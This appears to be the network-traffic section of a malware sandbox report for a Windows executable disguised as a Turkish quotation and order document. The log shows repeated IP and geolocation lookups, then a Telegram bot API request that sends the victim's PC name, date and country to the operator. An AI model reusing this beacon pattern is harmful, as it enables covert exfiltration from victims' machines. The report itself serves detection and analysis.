Jan 6, 2025 13:57:10.036247969 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 13:57:10.608680010 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ac0bb94e09409b65c11265323c981ec1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49713	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:00 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 12:57:01 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483010 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IO7%2BIsIFyEMrx06bUFT6dZLdUcTgxtWvoTnCZDEO2n8dnu%2FJwk2OYM8fLQTZU373Xg5MCzx62l5AQMTkyUZ2vYt4A%2Bx%2Bpg8bgCXQtYbOr5nmpnOkEyTYDLNRBXnNXQ8mn5waFjoY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf157cd478ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1979&min_rtt=1968&rtt_var=746&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1483739&cwnd=182&unsent_bytes=0&cid=e23f62638e09a4b5&ts=371&x=0"
2025-01-06 12:57:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49716	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:01 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 12:57:01 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483011 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Umc1nKdJc5r5Schukg%2BpBK9UnyNOgNC7FpkmzMFnCiSPT2JcvuHD11v5yNOvfAuXSF%2FKzQBotfkywOIKq11pv4qCQi7FyZL8GG1Z%2Fre7FjP49ZIOP2Pdce%2FF6gyAwBXhXK0exFrH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf1acaaa727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1902&min_rtt=1891&rtt_var=733&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1470292&cwnd=234&unsent_bytes=0&cid=8f456bfac1400d81&ts=143&x=0"
2025-01-06 12:57:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49719	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:03 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 12:57:03 UTC	863	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483012 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xkcG3hDnGrAApWpmCdMX4PekoV5WYfs4pmZdQCF9jhJS33U6BymfV2Ymz15boVk9aVF7G%2BcqHOkGDP%2FXVPPIZLOvmLuE2%2BLQO%2FBBt9oEgGy%2F4nl1jkQmLNimkjY%2F8KhesOSNaYu%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf2289fc7285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2015&min_rtt=1992&rtt_var=764&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1465863&cwnd=249&unsent_bytes=0&cid=bb5a25fb4cb2a165&ts=167&x=0"
2025-01-06 12:57:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49721	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:04 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 12:57:04 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:04 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483013 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tMD8tnEzzMyql8IMsb82UODJjFlykGS8FDv4Rppwr6q4L4cpr4Pt%2BNG1fgh1v4GLupwO1LIzRbLErL9dciXKc2i2kin5PqsOyBZD8w%2BwvNmkL5aWHGLVzd28LHYVJH%2F43MSRJINx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf2a5fabef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1980&rtt_var=756&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1434889&cwnd=219&unsent_bytes=0&cid=5a09816d1b582284&ts=159&x=0"
2025-01-06 12:57:04 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49729	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:06 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 12:57:06 UTC	865	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:06 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483015 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ns88vi0ZI%2BM4ia%2FpIoX6m%2FVeYcv3GkM%2Bzpne7K4NyMggMrz%2Fz8iJR7ApqEya9AW%2FGQOdgOFPAXawfM6rLuP3y8WfMB59XCbky1Z%2BYKCIXjgzKuePjou2UwJMv4%2B6zbD5Me3sQjR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf36cdde41ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1687&rtt_var=642&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1693735&cwnd=211&unsent_bytes=0&cid=b35b5af920cf703c&ts=147&x=0"
2025-01-06 12:57:06 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49741	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:07 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 12:57:07 UTC	853	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:07 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483016 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qxrrVpiXii2ZyIxtxvRzCrHVoELENU0PRi2IzdVgiM0rJkSWr848QPEx74OzhrcvgcrCcHClXvGT13%2BHOfR5cmqsARkV9umk4WnxdZVaMz8lLTFfr%2FGAostW6JP35HfFHtUq6I7G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf3e4aa143bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1624&rtt_var=613&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1777236&cwnd=190&unsent_bytes=0&cid=d903ef81bf8b3393&ts=157&x=0"
2025-01-06 12:57:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49748	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:08 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 12:57:08 UTC	861	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:08 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483017 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=njqeqASbguZMXvTPeXP6qdJq943c0%2FI%2FRUIrXY%2FqcJcDXa1opzI%2FuB5RdZZTu2%2F5iWU5epd7kigEcCGTw0zt828%2FfVGPtYh4XANQekwfS3J8pByNHRr8SQ2TIX9adwBqUcStEOgk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf45df6b4321-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1583&rtt_var=612&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1760096&cwnd=249&unsent_bytes=0&cid=a8b4f53d6b7c2e79&ts=145&x=0"
2025-01-06 12:57:08 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49760	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:09 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 12:57:10 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483019 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QmoOv%2F88mMFpCL9U0Usd2CSEiW6Mt4BznxgEuLOU7xQsRF8pIAaJpNSdea13abmeHLZB4%2BP0ivW8NJ%2FYk6NtNEqxqgvaBP1vGB7Iil3EI%2BxyUlQmMgK9B0T7yIfb66IQP4rswYcR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf4d493c424f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1755&rtt_var=697&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1663817&cwnd=234&unsent_bytes=0&cid=30b693e27404bd74&ts=152&x=0"
2025-01-06 12:57:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49771	188.114.96.3	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:11 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 12:57:11 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:11 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1483020 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Su1%2FsUAqThdN0ydZkJlqJzK5MBcaKZSBewE%2BVWxf91wGlfFhMjuEP%2FdlwMugDR2nb7leuii5hXzS4a0iQkfkrWAyRNU0zrC4%2BmeA6c8mVOoKTkeVky9okKHyt7C1RKZDnZh%2FhS1U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdf54a9e6729e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2002&min_rtt=1995&rtt_var=762&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1422308&cwnd=165&unsent_bytes=0&cid=793ef8a9230f067e&ts=134&x=0"
2025-01-06 12:57:11 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49774	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:11 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:045012%0D%0ADate%20and%20Time:%2006/01/2025%20/%2019:42:00%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20045012%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
